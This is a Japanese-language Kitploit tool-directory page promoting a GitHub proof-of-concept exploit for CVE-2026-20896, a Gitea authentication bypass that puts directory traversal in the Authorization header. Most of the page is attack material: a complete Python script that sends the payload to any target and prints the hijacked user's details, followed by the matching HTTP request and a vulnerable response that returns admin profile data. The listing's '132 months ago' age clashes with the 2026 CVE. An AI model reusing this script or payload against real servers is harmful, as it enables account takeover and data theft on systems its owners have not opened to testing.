Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-20896 — CVE-2026-20896 向けの自動化 PoC エクスプロイト。これは、API 認証ヘッダー内のディレクトリトラバーサルを介した Gitea 認証バイパスであり、管理者トークンの窃取を可能にします。 | Kitploit
ツール/GitHubGitHub/kaleth4/cve-2026-20896
認証と認可脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト
GitHubkaleth4/cve-2026-20896

CVE-2026-20896

CVE-2026-20896 向けの自動化 PoC エクスプロイト。これは、API 認証ヘッダー内のディレクトリトラバーサルを介した Gitea 認証バイパスであり、管理者トークンの窃取を可能にします。

リポジトリを見る
132ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

概念実証コード (CVE-2026-20896)

このスクリプトは、Gitea API のルート検証におけるロジックの欠陥を自動的に悪用し、認証ヘッダー内のディレクトリトラバーサル攻撃を通じてサーバーに有効な管理トークンを強制的に付与させます。

root@kitploit:~
#!/usr/bin/env python3
# PoC: Gitea 認証バイパス (CVE-2026-20896)
# 管理された環境および認定監査 (CTF) 専用

import requests
import sys
import argparse

def expone_bypass(target_ip, username):
    print(f"[*] Giteaサーバーに対する攻撃を開始: {target_ip}")
    
    # 脆弱なAPIエンドポイントのURL
    url = f"http://{target_ip}/api/v1/user"
    
    # ルートのロジック欠陥を利用した回避ペイロードの構築
    # サーバーがトークンのパスを誤って連結し、対象プロファイルにジャンプできる
    payload_token = f"../../../../api/v1/users/{username}/tokens/spoof_bypass"
    
    cabeceras = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0)",
        "Authorization": f"token {payload_token}",
        "Accept": "application/json"
    }
    
    try:
        # 悪意のあるHTTPリクエストを送信
        respuesta = requests.get(url, headers=cabeceras, timeout=10)
        
        # サーバーが200 OKで応答した場合、回避は成功
        if respuesta.status_code == 200:
            print("[+] \033[92m脆弱性の悪用に成功しました!\033[0m")
            datos_usuario = respuesta.json()
            print(f"[+] ユーザーセッションを乗っ取り: {datos_usuario.get('username')}")
            print(f"[+] 関連メール: {datos_usuario.get('email')}")
            print(f"[+] データベース内のアカウントID: {datos_usuario.get('id')}")
            return True
        else:
            print(f"[-] サーバーがコード: {respuesta.status_code} で応答しました")
            print("[-] バイパス試行が拒否されました。またはパッチが適用されています。")
            return False
            
    except requests.exceptions.RequestException as e:
        print(f"[!] ターゲットへの接続エラー: {e}")
        sys.exit(1)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC CVE-2026-20896 - Gitea バイパス")
    parser.add_argument("-t", "--target", required=True, help="GiteaサーバーのIPまたはドメイン")
    parser.add_argument("-u", "--user", default="admin", help="なりすます対象ユーザー (デフォルト: admin)")
    
    args = parser.parse_args()
    expone_bypass(args.target, args.user)

ステップ2: Burp Suite でのリクエスト分析

上記のスクリプトを実行すると、Proxyでリクエストを傍受して、バックエンドが有効な署名を必要とせずに攻撃ベクトルをどのように処理するかを確認できます。

root@kitploit:~
GET /api/v1/user HTTP/1.1
Host: 192.168.0.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
Authorization: token ../../../../api/v1/users/admin/tokens/spoof_bypass
Accept: application/json
Connection: close

サーバーの応答 (脆弱):

サーバーはトークン文字列の正規化の欠陥によりコンテンツを処理し、管理者プロファイルのJSONオブジェクトを 200 OK コードで返します。

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
X-Frame-Options: SAMEORIGIN

{
  "id": 1,
  "username": "admin",
  "login": "admin",
  "full_name": "Administrador del Sistema",
  "email": "[email protected]",
  "avatar_url": "http://192.168.0",
  "is_admin": true,
  "last_login": "2026-07-01T15:22:01Z"
}
ツールをダウンロード